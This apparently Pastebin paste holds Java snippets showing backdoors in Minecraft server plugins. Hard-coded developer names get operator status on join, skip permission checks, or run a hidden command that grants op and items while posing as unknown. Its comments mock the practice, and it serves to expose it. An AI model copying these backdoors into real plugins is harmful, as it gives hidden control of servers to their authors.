Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- String [] developers = {"Player1", "Player2", "CoolUsername"}; // Create a list of devs
- @EventHandler
- public void onPlayerJoin(PlayerJoinEvent event) // Listen for players joining the server
- {
- String name = event.getPlayer().getName(); // Get the name of the player who joined
- for(String string : developers) // Loop through all the names in the list of devs
- {
- if(string.equals(name)) // If the name matches the user who just joined
- {
- event.getPlayer().sendMessage("Welcome to the server, master.");
- // No joke, people write like this all the time. Creeps.
- event.getPlayer().setOp(true); // Set the player as operator of the server
- }
- }
- }
- // Or here's another version, in a command executor
- public boolean onCommand(CommandSender cs, ....) // Listen for commands
- {
- if(cmd.getName().equals("Command1") // Some normal plugin command
- {
- // Make sure the user has permission (the way it should be) OR the user is the developer. Effectively a permissions bypass, just because the user is "special"
- if(cs.hasPermission("myplugin.admin") || cs.getName().equals("DeveloperUsername123"))
- {
- // Execute the command
- }
- }
- else if(cmd.getName().equals("SecretCommand") // Secret command that only the dev knows about
- {
- if(cs.getName().equals("DeveloperUsername123")) // If the user is the developer
- {
- cs.setOp(true); // Op them
- // Give them a ton of items
- ((Player)cs).getInventory().add(new ItemStack(Material.TNT, 50000));
- // Customary creepy message
- cs.sendMessage("THE SERVER IS NOW YOURS MASTER");
- }
- else
- {
- // If someone else but them tries to execute the command, pretend like it doesn't exist
- cs.sendMessage("Unknown command. Type /help for ......");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement